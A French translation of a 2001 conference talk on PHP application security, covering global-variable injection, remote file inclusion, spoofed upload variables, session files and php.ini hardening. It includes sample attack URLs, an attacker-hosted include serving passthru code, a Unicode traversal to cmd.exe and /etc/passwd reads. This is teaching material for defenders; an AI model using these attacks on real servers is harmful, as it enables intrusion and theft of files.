|
||
--- < Sommaire > -------------------------------------------------------------- 1. Introduction 2. Tour d'horizon 3. Variables Globales 4. Fichiers distants 5. Upload des fichiers 6. Fichiers de Librairies 7. Fichiers de sessions 8. Codage rapide et tableaux associatifs 9. Fonctions ciblées 10. Protéger PHP 11. Responsabilité - Langage et Programmeur 12. Autre --- < 1. Introduction > ------------------------------------------------------- Ce document est une traduction basée sur un discours lu aux conférences Blackhat de Singapour et Hong Kong en avril 2001. A l'origine le discours était intitulé "Forcer l'entrée par la porte de devant - L'impact des applications web sur des modeles traditionnels de sécurité", et traitait des problemes rencontrés sur des applications ASP, les trous exposés et les méthodes utilisées pour les mettre a jour. Le reste de la conference était consacré a PHP. Pour les néophytes, PHP veut dire "PHP Hypertext Preprocessor" (encore un acronyme récursif ;). C'est un langage de programmation (spécialement concu pour le web) dans lequel le code PHP est inclus avec le code html des pages web. Quand un client envoie une requete pour une page, le serveur web passe la requete a l'interpreteur en vue d'executer le code, le resultat est envoyé au client. Evidemment cette approche est bien plus appropriée pour traiter des problemes rencontrés avec PHP qu'avec des langages comme Perl ou C. PHP (par opposition avec d'autres langages du web) a les caracteristiques suivantes : + Interpreté + Execution rapide - L'interpreteur est inclus dans le serveur web sans fork() ou paramatres de configuration supplementaires. + Riche en possibilités - Des centaines de fonctions tres souples + Syntaxe simple - Déclarations de Variable optionnelles, nommage intuitif des fonctions On va expliquer dans ce document pourquoi les deux dernieres caracteristiques font que les applications écrites en PHP sont faciles a attaquer et difficiles a défendre. On finira par une distribution de palmes et de bonnets d'anes en matiere de sécurité logicielle. --- < 2. Tour d'horizon > ----------------------------------------------------- Presque toutes les observations de ce document se réferent a une installation par défaut de PHP 4.0.4pl1 (avec MySQL, PostgreSQL, IMAP et le support OpenSSL activé) en tant que module avec Apache 1.3.19 sur une machine linux. Evidemment les resultats peuvent varier selon les versions et l'age des installations, ainsi plusieurs versions de PHP peuvent avoir un comportement radicalement différent pour une meme situation. Bien que les fans du PHP défendent ce langage en plaidant l'extreme configurabilité de ce systeme, la plupart d'entre eux ne vont pas modifier les valeurs par défaut du package lors de la mise en place par peur de voir la majorité des applications qu'ils utilisent ne pas fonctionner. Le débat autour du fichier de configuration PHP est cependant nécéssaire pour ceux qui se sentent concernés par la sécurité de telles installations. --- < 3. Variables Globales > ------------------------------------------------ Comment mentionné plus haut, les variables PHP n'ont pas besoin d'etre déclarées, elles sont automatiquement créées lors de leur premiere utilisation. Elle n'ont pas besoin non plus d'etre typées, le typage etant également effectué automatiquement en référence au contexte dans lequel elles sont utilisées. Ces faits rendent les choses tres pratiques d'un point de vue programmation (et présentent des horizons tres larges a ceux qui préferent les langages de développement rapides pour les applications). Aussitot qu'une variable est créée, elle peut etre référencée n'importe ou dans le programme (sauf les fonctions dans lesquelles il faut explicitement les inclure avec la fonction 'global'). Le résultat des ces caractéristiques est que ces variables sont rarement initialisées par le programmeur lui meme, car apres tout la création initiale d'une variable lui voit assigner une valeur nulle (ex : ""). Apparemment la principale fonction d'une application web PHP est de récuperer des données du client (variables de formulaire, fichiers uploadés, cookies, etc), de procéder au traitement de ces données et de renvoyer un résultat basé sur ces memes données. Afin de simplifier au maximum la tache au script PHP lors de l'acces, les données lui sont fournies sous forme de variables globales PHP. Considérons l'exemple suivant basé sur du code HTML : <FORM METHOD="GET" ACTION="test.php"> <INPUT TYPE="TEXT" NAME="hello"> <INPUT TYPE="SUBMIT"> </FORM> Ce code affiche une boite texte et un bouton submit. Quand l'utilisateur clique sur le bouton submit, le script test.php sera éxécuté pour procéder au traitement des données envoyées. Au moment de son éxécution, la variable $hello se verra assigner comme valeur le texte contenu dans le champ input du meme nom (<input type="text" name="hello">), le meme texte que l'utilisateur a tapé dans la boite texte avant de cliquer sur submit. Il est tres important de noter les implications que cela engendre, cela veut dire qu'un petit malin peut créer n'importe quelle variable et la voir déclarée globalement avec les autres variables. Si au lieu d'utiliser le formulaire ci dessus, le petit malin appelle directement l'url comme suit : "http://server/test.php?hello=salut&setup=jambon", non seulement la variable $hello se verra assigner la valeur "salut", mais aussi la variable $setup sera créée et se verra assigner la valeur "jambon", ces deux variables étant globales et utilisables sur tout le script test.php. Ceci peut devenir un réel probleme dans le cas d'un script qui a pour role d'authentifier un utilisateur avant d'afficher des informations importantes, par exemple : <?php if ($pass == "hello") $auth = 1; ... if ($auth == 1) echo "des infos importantes"; ?> Lors d'une utilisation "normale" le code ci-dessus va comparer un mot de passe avec une valeur donnée (hello), puis décider si l'utilisateur distant peut accéder ou pas aux infos importantes en stockant une valeur dans la variable $auth. Le probleme c'est que le code part (a tort) du principe que la variable $auth sera vide jusqu'a ce qu'elle se voit assigner une valeur. Avec la méthode citée plus haut on peut donc facilement construire une URL comme 'http://server/test.php?auth=1' qui permettra de ne pas avoir a fournir de password et d'etre quand meme considéré comme authentifié. Pour résumer, on peut dire qu'un script PHP "ne peut pas faire confiance a N'IMPORTE QUELLE variable qui n'a pas été EXPLICITEMENT assignée". D'ailleurs plus un script traite de variables et plus la tache est ardue pour sécuriser le tout (ndt : heureusement il y a les classes ;0). Une approche plus protective consiste a vérifier qu'une variable ne fait pas partie du tableau HTTP_GET/POST_VARS[] (un choix en fonction de la methode utilisée pour soumettre les formulaires, GET ou POST). Quand PHP est configuré avec 'track_vars' (par défaut), les variables envoyées par l'utilisateur sont disponibles globalement mais aussi sous forme de tableaux associatifs comme mentionné plus haut. Il est quand meme important de noter qu'il existe QUATRE tableaux associatifs differents et qui peuvent etre sujets a des attaques : -HTTP_GET_VARS pour les variables envoyées dans l'url (ou formulaire avec la methode GET). -HTTP_POST_VARS pour les variables postées par formulaire avec la methode POST d'une requete HTTP -HTTP_COOKIE_VARS pour les variables envoyées comme partie du header d'un cookie dans une requete HTTP -HTTP_POST_FILES tableau présent dans la plupart des versions récentes de PHP, correspond aux infos relatives a un fichier uploadé via methode POST C'est l'utilisateur final qui décide quelle méthode utiliser pour soumettre ces variables, une simple requete peut parfaitement placer des variables dans ces quatres différents tableaux, un script qui se veut sécurisé a besoin de les vérifier tous les quatres (a l'exception de HTTP_POST_FILES qui ne devrait pas poser de problemes excepté dans certaines circonstances qu'on pourrait qualifier d'exceptionnelles). --- < 4. Fichiers distants > ------------------------------------------------- Sans vouloir radoter, PHP est un langage extremement riche. Il est livré avec une panoplie tres complete de fonctionnalités et fait de son mieux pour faciliter la tache au codeur (ou web designer comme c'est souvent le cas). D'un point de vue sécurité, plus les fonctionnalités offertes sont riches, moins les possibilités sont intuitives, et plus il est difficile de sécuriser les applications qui y sont écrites (merci m$ pour ce joli theoreme). Un excellent exemple de fonctionnalité est l'utilisaton distante de fichiers avec PHP : La portion de code qui suit est censée ouvrir un fichier : <?php if (!($fd = fopen("$filename", "r")) echo("Impossible d'ouvrir le fichier: $filename<BR>\n"); ?> Ce code va essayer d'ouvrir en lecture le fichier dont le nom est spécifié dans la variable $filename et affiche une erreur si l'ouverture échoue. Certains sites en ont fait les frais, car il est facile de forcer la déclaration de $filename dans l'url et ainsi d'acceder au contenu de fichiers sensibles sur le serveur (ex : /etc/passwd), il est aussi possible de lire des données en provenance de serveurs distants, ftp, etc. Les fonctionnalités distantes d'acces aux fichiers de PHP rendent possible l'utilisation des fonctions fichiers sur des cibles locales comme distantes et ceci en toute transparence. ex : http://cible/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir PHP va effectuer une requete HTTP en direction du serveur "cible" (et tester au passage la faille unicode). Ca devient encore plus intéressant dans le contexte de quatre autres fonctions qui tolerent les fonctionnalités d'acces aux fichiers distants ( *** sauf pour windows ***), include(), require(), include_once() et require_once(). Ces fonctions prennent un nom de fichier, et le lisent comme etant du code PHP, elles sont utilisées typiquement dans un contexte d'inclusion de librairies de code, un cas ou des portions de script réutilisables sont stockées dans des fichiers qui seront inclus quand c'est nécessaire (ex:phplib). Examinons cette portion de code : <?php include($libdir . "/langages.php"); ?> On peut présumer que $libdir est une variable de configuration a qui on a assigné une valeur égale au répertoire qui contient le fichier langages.php et ou se trouvent d'autres librairies. Si un petit malin peut forcer la déclaration de cette variable il lui devient possible de rediriger la requete vers lui meme et ainsi de substituer son code a celui des librairies en remplacant le chemin d'acces local par un chemin d'acces distant. En final il ne serait possible que d'acceder a un fichier langages.php situé dans un repertoire ou une url de son choix. Par exemple, si le petit malin place un fichier langages.php sur un serveur web distant et y dépose le code suivant : <?php passthru("/bin/ls /etc"); ?> et construire l'url en forcant la declaration de $libdir avec la valeur "http://<petit malin>/", lors de l'execution de l'include, le script va aller chercher le fichier langages.php sur le serveur chercher en local, et ainsi permettre l'execution de code arbitraire (ici le code retournera le contenu du repertoire /etc). A noter que le serveur ou se trouve le fichier langages.php ne doit pas etre un serveur qui interprete le PHP (sans quoi le code ne sera pas envoyé mais interpreté). --- < 5. Upload des fichiers > ------------------------------------------------- Comme si PHP n'avait pas assez de trous, le langage met a disposition un support automatique pour l'upload conformément au RFC 1867. Prenons le formulaire suivant comme exemple : <FORM METHOD="POST" ENCTYPE="multipart/form-data"> <INPUT TYPE="FILE" NAME="hello"> <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> <INPUT TYPE="SUBMIT"> </FORM> Ce formulaire va autoriser le browser web a selectionner un fichier local, puis envoyer ce fichier au serveur lorsque l'utilisateur clique sur submit. Cette fonctionnalité est bien sur tres utile, c'est la réponse de PHP qui en fait une situation dangereuse. Au moment ou PHP recoit la requete, et *avant meme* d'avoir commencé a interpreter le fichier php qui la recoit, le fichier sera recu, la taille comparée avec la valeur de la variable $MAX_FILE_SIZE (ici fixée a 10 ko) et cette derniere valeur comparée avec celle spécifiée dans le php.ini. Si ces deux tests sont concluants, le fichier est alors SAUVÉ sur le disque local du serveur, dans un repertoire temporaire. Il ya de quoi sauter au plafond, un utilisateur distant peut tres bien envoyer n'importe quel fichier sur un serveur avec PHP et ceci avant que le script ait commencé a etre executé (ceci ecarte l'option que ce meme script puisse refuser le fichier qui est quand meme SAUVÉ sur le disque local du serveur). Imaginons un script qui *est* concu pour recevoir des uploads de fichier. Comme décrit plus haut le fichier est recu puis sauvé sur le disque local du serveur (dans un répertoire spécifié dans le php.ini ex : /tmp) et se fait assigner un nom de fichier au hasard (ex: "phpxXuoXG"). Le script PHP a besoin d'infos sur ce fichier uploadé pour etre capable de le traiter. Ceci est fourni de deux facons différentes, l'une d'elles est en service depuis les premieres versions de php3, l'autre a été développée suite a des bulletins de sécurité en rapport avec la description fournie dans ce document. Le probleme est néanmoins toujours existant et en bonne santé, a tel point que l'ancienne methode et ses vulnerabilités est toujours en pratique sur pas mal d'applications bien en vogue (ex:phpnuke). PHP ajoute quatre variables pour décrire le fichier uploadé, par exemple : $hello = Nom du fichier sur le serveur (ex: "/tmp/phpxXuoXG") $hello_size = Taille en Octets du fichier (ex: 1024) $hello_name = Le nom original du fichier sur le client (ex:"c:\\hello.txt") $hello_type = Le format Mime du fichier uploadé (ex:"text/plain") Ensuite le script php peut travailler sur le fichier localisé grace a la variable $hello, le probleme c'est qu'il n'est pas forcément évident pour PHP que la variable $hello doive etre déclarée via l'url ou pas, considérons l'url: http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/ plain&hello_name=hello.txt Le résultat correspondra a peu pres a ces declarations de variables qui se retrouvent globalisées (ca marche egalement avec la methode POST ou avec les cookies) : $hello = "/etc/passwd" $hello_size = 10240 $hello_type = "text/plain" $hello_name = "hello.txt" Ceci produira exactement ce a quoi PHP s'attend lors d'un upload de fichier, excepté que normalement c'est PHP qui les déclare, et qu'ici on se retrouvera avec le contenu du fichier /etc/passwd sur quoi travailler. Cette meme attaque peut etre utilisée pour mettre en évidence toute sorte de fichier sensible (en particulier les fichiers de config ou tiers contenant des infos sur l'assignation des droits sur le serveur). Comme expliqué plus haut, les version plus récentes de PHP peuvent utiliser des methodes différentes pour déterminer quelles sont les infos relatives aux fichiers uploadés (via le tableau HTTP_POST_FILES[]). Plusieurs fonctions sont également fournies dont une permet de comparer si le fichier sur lequel on travaille est bien celui qui a été uploadé. Ces méthodes reglent définitivement le probleme mais ne corrigent pas les scripts qui utilisent encore l'ancienne méthode, et on est loin d'atteindre une pénurie en la matiere. Comme alternative a l'attaque par l'upload, on peut également considérer l'exemple suivant : <?php if (file_exists($theme)) // Vérifie si le fichier existe sur le systeme local //(pas de fichiers distants) include("$theme"); ?> Si l'attaquant peut controler $theme, il peut evidemment l'utiliser pour lire n'importe que fichier sur le systeme distant (excepté les fichiers qui ont des tags php "<?" (qui vont etre interpretés au lieu d'etre lus). Bien que cela pose un probleme, le but ultime de tout attaquant est d'arriver a éxecuter des commandes sur le serveur distant, et il est impossible d'y arriver en utilisant des fichiers distants etant donné que la methode file_exists ne s'applique qu'a des fichiers locaux. Il faut donc au préalable arriver a uploader du code avant de faire appel a cette faille. Si l'attaquant crée un fichier sur sa machine et comme contenu y dépose le code a éxecuter (ex : passthru, eval), puis crée un formulaire dont un des champs s'appelle "theme", il peut alors utiliser ce meme formulaire pour soumettre le fichier via upload, PHP sera assez sympa pour sauver le fichier et déclarer $theme avec la valeur du fichier de l'attaquant sur la machine locale. Le methode file_exists() se vérifiera avec succes et le code de l'attaquant sera alors éxécuté sur le serveur. Une fois que ses droits en éxécution PHP sont obtenus sur le serveur web distant l'attaquant pourra s'adonner a des taches plus investigatoires en vue d'obtenir des privileges plus avancés sur le serveur local ou sur d'autres serveurs, ces deux méthodes nécessitant une boite a outils ne se trouvant pas (encore) sur le serveur. L'utilisation de chmod() et des autres fonctions relatives au systeme de fichier ne mettent plus en cause le fait de pouvoir tricher avec l'upload, car l'envoi de fichier a été rendu "legal" par la methode décrite plus haut. Le risque est plutot de voir l'attaquant utiliser une telle methode pour mettre en place un rootkit et l'executer ... --- < 6. Fichiers de librairies > --------------------------------------------- On mentionnait plus haut les fonctions include() et require(), elles sont généralement utilisées en respect du concept des librairies de code. Cela implique que des portions de codes communes a plusieurs applications sont mises a disposition dans un repertoire prévu a cet effet (lib, phplib, promotheus-lib) et que ces portions de codes sont incluses directement quand c'est nécessaire. Include() et Require() prendront n'importe quel nom de fichier qu'on leur specifie, liront le fichier et interpreteront son contenu comme du code PHP. Un standard en programmation suggerait de mettre l'extension ".inc" aux fichiers de librairies afin de les distinguer des fichiers de code applicatif. Cela a posé pas mal de problemes sur des serveurs qui se contentaient de lire ces fichiers sans les interpréter comme de vulgaires fichiers textes. Aussi certains de ces fichiers pouvant contenir des infos sensibles (user/pass base de données) se voyaient affichés en mode texte alors qu'ils auraient pu etre facilement protégés. La plus simple des solutions (c'est egalement la plus prisée) est de donner a TOUS les fichiers une extension interpretable (ex : php, php3). Le revers de la medaille est qu'un attaquant peut tres bien s'octroyer les memes privileges d'acces en réutilisant des portions de code qui sont prévues pour etre utilisées dans un autre contexte, ce qui nous ramene aux memes types d'attaques décrites plus haut. ex : Dans main.php (merci phpnuke;0): ?php $libDir = "/libdir"; $langDir = "$libdir/langages"; ... include("$libdir/loadlangage.php": ?> Dans libdir/loadlangage.php: <?php ... include("$langDir/$userLang"); ?> Quand libdir/loadlangage.php est appelé dans le contexte défini de main.php, le script est parfaitement sécurisé, mais parce que libdir/loadlanguage porte l'extension .php (ce qui n'est pas nécessaire car include() marchera sur toute sorte de fichier) il est possible qu'un attaquant l'execute. Une fois en dehors du contexte, l'attaquant peut forcer les valeurs de $langDir et $userLang avec la methode url citée plus haut. --- < 7. Les fichiers de session > -------------------------------------------- Les versions récentes de PHP(4 et supérieures) offrent un support pour les sessions. Leur utilité basique consiste a pouvoir sauver des infos d'une page a l'autre au sein d'une application PHP. Par exemple quand un utilisateur se loggue sur un site web, le fait qu'il soit loggué (et ce a quoi il est loggué) pourrait etre sauvé dans cette session. Ces informations seront disponibles au autres pages PHP au fur et a mesure de son évolution sur le site. Ce qui se produit quand une session est démarrée (lors du premier chargement de la premiere page si spécifié dans le php.ini) revient a générer aléatoirement un numero unique et l'assigner, la session persiste aussi longtemps que le client distant soumet ce numero avec chacune de ses requetes (compris jericho?). Cela peut etre tres facilement pris en charge avec le cookie mais aussi par un champ de formulaire ou une variable dans l'url. La session est une unité de stockage de variables , une application PHP peut choisir d'enregistrer une variable particuliere avec la session, sa valeur est alors stockée dans le fichier de session a la fin de chaque script PHP et ainsi chargée au départ de chaque script comme dans cet exemple : <?php session_destroy(); // Effacer les données présentes dans la session $session_auth = "savate"; session_register("session_auth"); // Enregistrer $session_auth comme variable // de session ?> Tout page visitée ulterieurement aura la variable $session_auth pré-déclarée avec comme valeur "savate". C'est tres pratique et parfois nécessaire pour une utilisation sur un environnement qui ne nécéssite pas d'état défini. Un probleme évident consiste a s'assurer que les variables viennent bien de la session, par exemple si on éxécute le code suivant apres avoir utilisé le script précédent : <?php if (!empty($session_auth)) // Donner l'acces au site ?> Ce code part du principe que $session_auth est déclaré lors du démarrage de l'instance de la session et non pas dans l'url. Si un attaquant force la déclaration de $session_auth via l'url ou un formulaire, il peut ainsi gagner l'acces a tout le site. A noter que l'attaquant doit utiliser cette methode avant que la variable soit enregistrée avec la session, car une fois que la variable fait partie de la session, elle viendra écraser toute autre variable du meme nom, qu'elle provienne d'une url ou d'un formulaire. Les données de la session sont sauvées dans un fichiers (configurable dans le php.ini -> habituellement /tmp) appelé 'sess_ les noms des variables de la session, leurs types, leurs valeurs, etc. Sur un systeme de multi hosting cela peut poser des problemes car les fichiers sont sauves en tant que nobody (ou l'utilisateur qui execute le serveur web). Un petit malin peut facilement se créer un fichier de session afin de s'octroyer des droits sur un autre site que le sien ou meme examiner les fichiers de session existants et ainsi avoir acces a des données sensibles. Le mecanisme de la session est tel qu'il est egalement possible de deviner le nom du fichier qui comporte les infos de la session, ainsi que le nom du repertoire dans lequel ils se trouvent 'php Enfin un autre probleme auquel il n'a pas été trouvé d'exemple pratique mais qui n'en est pas moins préoccupant est que l'on peut spécifier n'importe quel ID de session (ex:'hello') et ainsi créer un fichier de session avec ce meme ID (ex: '/tmp/sess_hello'). L'ID ne peut contenir que des caracteres alphanumériques mais cela peut quand meme s'averer utile dans certaines situations. --- < 8. Codage rapide et tableaux associatifs > ------------------------------ Petit rappel sur ces facteurs : PHP est un langage de programmation rapide et facile, une des incidences est qu'une variable peut avoir plusieurs valeurs en meme temps, cela dépendant du contexte dans lequel elle est évaluée. Par exemple si la variable $hello est égale a une chaine vide "", elle aura comme valeur 0 si elle est évaluée en tant que nombre. Cela peut parfois conduire a des situations assez peu intuitives (comme pour phpMyAdmin). En revanche si $hello se fait assigner une valeur de "000" ca n'est PAS egal a "0" et la fonction empty() ne renverra pas un resultat 'true'. Les tableaux de PHP sont des tableaux associatifs, l'index du tableau est une chaine (STRING) et peut se faire assigner n'importe quelle valeur, il n'est pas évalué numeriquement. Donc l'entrée du tableau $hello["000"] n'est PAS la meme chose que l'entrée du tableau $hello[0]. On a besoin de faire attention a bien évaluer et valider les entrées utilisateur en tenant compte de ces facteurs si on veut faire une application digne de ce nom. ex : inutile de tester si quelque chose est egal a 0 pour ensuite le valider en utilisant empty() ailleurs. --- < 9. Fonctions ciblées > -------------------------------------------------- Lors de la recherche de trous dans des applications PHP (et quand on a le code source), il est tres utile d'avoir la liste des fonctions qui sont fréquemment mal utilisees ou sont de bonnes cibles si elles sont utilisées d'une maniere vulnérable dans une application ciblée. si un utilisateur distant peut affecter les parametres de ces fonctions, l'exploitation est souvent possible. Voici une liste non exhaustive des failles connues : Execution du code PHP : -require() et include() : Ces deux fonctions lisent un fichier spécifié et interpretent le contenu comme du code PHP -eval() : Interpreter une chaine donnée comme du code PHP -preg_replace() : quand utilisé avec le modificateur /e cette fonction interprete la chaine de remplacement comme du code PHP Execution de commandes : -exec() : Executer une commande specifiée et retourner la derniere ligne résultante de cette commande. -passthru() : Executer une commande spécifiée et retourner tous les resultat directement dans le browser -`` (apostrophes inversées) : Executer la commande spécifiee et retourner tous les résultats directement dans un tableau -system() : un peu la meme chose que passthru() mais ne gere pas les données binaires -popen() : Executer une commande spécifiée et connecter le flux de sortie vers un descripteur de fichier PHP Manipulation de fichiers: -fopen() : Ouvrir un fichier et l'associer avec un descripteur de fichier PHP -readfile() : Lire un fichier et écrire son contenu dans le browser -file() : Lire un fichier et mettre son contenu et ses infos dans un tableau --- < 10. Protéger PHP > ------------------------------------------------------ Toutes les attaques décrites plus haut marchent a la perfection sur une install par défaut de PHP4. En revanche la configurabilité de PHP permet de pouvoir fournir une réponse radicale a chacune de ces situations. La facture a payer (en matiere de sécurité il y a toujours une ardoise ;) peut varier selon la méthode choisie, voici une liste des méthodes classées de la plus douloureuse a la moins couteuse. * = Pratiquement indolore (limite chatouilles) ** = Vaguement douloureux *** = Gravemement douloureux **** = Insoutenable (Torture chinoise) Il ne s'agit evidemment pas de cout monetaire ni de douleur physique ;-) Il faut cependant noter que si l'on utilise toutes ces options en meme temps on se retrouve avec une installation "sécurité maximum" de PHP sur laquelle n'importe quelle application PHP sera sécurisée, et pour cause, aucune ne fonctionnera ;) **** - Set register_globals off Cette option va stopper l'enregistrement des variables pour les entrées utilisateur. A savoir, si un utilisateur essaye de créer une variables $hello via l'url ou un formulaire, PHP ne déclarera pas $hello, mais déclarera $HTTP_GET_VARS['hello'] (ou POST_VARS selon le cas). C'est la mere de toutes les autres options pour la sécurité PHP, l'effet secondaire d'une telle désactivation est la mort de toute tierce application ainsi qu'une difficulté a programmer comparable a celle qu'on a avec java (sorry le dany;) *** - Set safe_mode on On ne décrit pas ici tout ce que le safe_mode propose car ca n'est documenté nulle part au moment ou ce texte est traduit. On peut cependant constater qu'un grand nombre de restrictions sont activées en meme temps que lui, parmi ces restrictions on peut compter : - La possibilité de restreindre les commandes qui peuvent etre executées par exec(), etc) - La possibilité de restreindre les fonctions de PHP (ex : multimania a désactivé fsockopen) - Restreindre l'acces a un script ou un fichier cible sur une base d'appartenance a un groupe ou a un utilisateur. - L'impossibilité d'uploader C'est une excellente option pour les environnements FAI (c'est d'ailleurs pour eux que le safe_mode a été concu) et elle permet d'augmenter considérablement la sécurité d'une environnement PHP normal. Cette option peut egalement etre la cause de violentes migraines. ** - Set open_basedir Cette option permet de restreindre les operations sur les fichiers aux seuls repertoires impliqués lors de l'appel au fichier. Cela peut avoir comme effet d'invalider toute une variété d'include() et aussi d'attaques distantes mais ne protege pas forcement les failles d'upload ou des fichiers de sessions. ** - Set display_errors off, log_errors on Cette option désactive l'affichage vers le browser des messages d'erreur PHP. Elle permet d'eviter qu'un possible attaquant devine la structure du systeme de fichier local mais peut rendre le debugage tres frustrant. * - Set allow_url_fopen off Cette option permet de désactiver toutes les fonctionnalités relatives a la manipulation des fichiers distants, il est recommandé de l'utiliser dans tous les cas de figure, meme si cela ampute pas mal d'applications interessantes. Il y a certainement d'autres options tres pratiques pour la sécurité, et il existe une documentation tres riche sur PHP qui couvre le sujet de facon plus exhaustive, voir http://php.net ... --- < 11. Responsabilités - Langage et Programmeur > -------------------------- Il faut admettre qu'ils est tres difficile d'écrire une application PHP qui soit vraiment sécurisée (en tous cas avec la config par defaut de PHP). Le probleme n'est pas que PHP soit un mauvais langage, au contraire il est tellement accessible et a tellement de possibilités que d'autres langages n'ont pas. Si on observe bien on peut relever ces deux faits : - Les Web Designers et non codeurs finissent toujours par écrire des applications PHP. Ils n'ont pas a la base (a part dans certains cas) une connaissance de ce qu'implique la sécurité du code qu'ils écrivent car leur philosophie de codage n'est pas orientée comme elle devrait. Une application PHP est par définition exectuée dans le type d'environnement qui est le plus exposé aux attaques : une page universellement accessible depuis un serveur web. L'etat d'esprit devrait plutot etre similaire a celui utilisé lors du codage d'un network daemon qui va subir des attaques régulieres, ou d'une application setuid en tant que root. Au lieu de cela on constate que le focus est mis sur le developpement a tout prix d'une application locale sans privileges. Si un serveur web est corruptible, il fournira alors une passerelle potentielle a un tiers, ce qui peut etre tres dangereux meme si l'acces est fait en tant que nobody. - Le comportement du code est impossible a prévoir. Un include() qui utilise une entrée utilisateur avec "image.php" par exemple, normalement devrait etre sans danger pour la sécurité. L'utilisateur ne pouvant influer sur le chemin d'acces, ni créer un fichier image.php sur la machine distante, on peut se persuader que tout va bien. Seulement quand les fonctionnalités de fichiers distants sont activées cette situation peut devenir un vrai cauchemar et PHP n'a pas rendu cette situation tres intuivite. On aurait tendance a blamer le programmeur pour le code qu'il ecrit, mais si un langage rend la tache difficile au programmeur pour écrire du bon code, le langage doit aussi prendre une partie du blame pour cette situation. Il est vrai cependant que la plupart des programmeurs pourraient en savoir plus sur le sujet avant de se lancer dans la diffusion d'applications de production. Dans presque toutes les applications PHP on peut voir que le programmeur a vaguement "essayé" de mettre de la sécurité, mais a laissé tomber quand il s'est retrouvé face aux implications que cela engendre avec le comportement de PHP. Dans sa recherche de l'ultime fonctionnalité, PHP a completement tué chez le programmeur la faculté a pouvoir comprendre le fonctionnement de son code dans toutes les situations possibles. --- < 12. Autres > ------------------------------------------------------------ Cette section rassemble d'autres ressources diverses et variées En francais : - Serial Savate System Advisories http://savate.madchat.org/addons/security/xxxxxxxxxxxx.adv.en => phpNuke trou http://savate.madchat.org/addons/security/xxxxxxxxxxx2.adv.en => phpSlash trou http://savate.madchat.org/addons/security/xxxxxxxxxxx3.adv.en => phplib trou En anglais : - Rain Forest Puppy RFP 2101 - "RFPlutonium to fuel your PHP-Nuke" http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2 - João Gouveia Quelques posts sur Bugtraq http://www.securityfocus.com/templates/archive.pike?list=1&mid=165519 http://www.securityfocus.com/templates/archive.pike?list=1&mid=147104 - Jouko Pynnonen http://www.securityfocus.com/templates/archive.pike?list=1&mid=169045 SecureReality a posté plusieurs advisories sur les applications PHP qui devraient etre citées en exemple dans ce document : - SRADV00001 - Manipulation arbitraire de fichiers avec l'upload de PHP http://www.securereality.com.au/sradv00001.html - SRADV00003 - Manipulation arbitraire de fichiers avec IMP http://www.securereality.com.au/sradv00003.html - SRADV00006 - Exécution de commandes a distance avec phpGroupWare http://www.securereality.com.au/sradv00006.html - SRADV00008 - Exécution de commandes a distance avec phpMyAdmin et phpPgAdmin http://www.securereality.com.au/sradv00008.txt - SRADV00009 - Exécution de commandes a distance avec phpSecurePages http://www.securereality.com.au/sradv00009.txt - SRADV00010 - Exécution de commandes a distance avec SquirrelMail http://www.securereality.com.au/sradv00010.txt - SRADV00011 - Exécution de commandes a distance avec WebCalendar http://www.securereality.com.au/sradv00011.txt |
||
|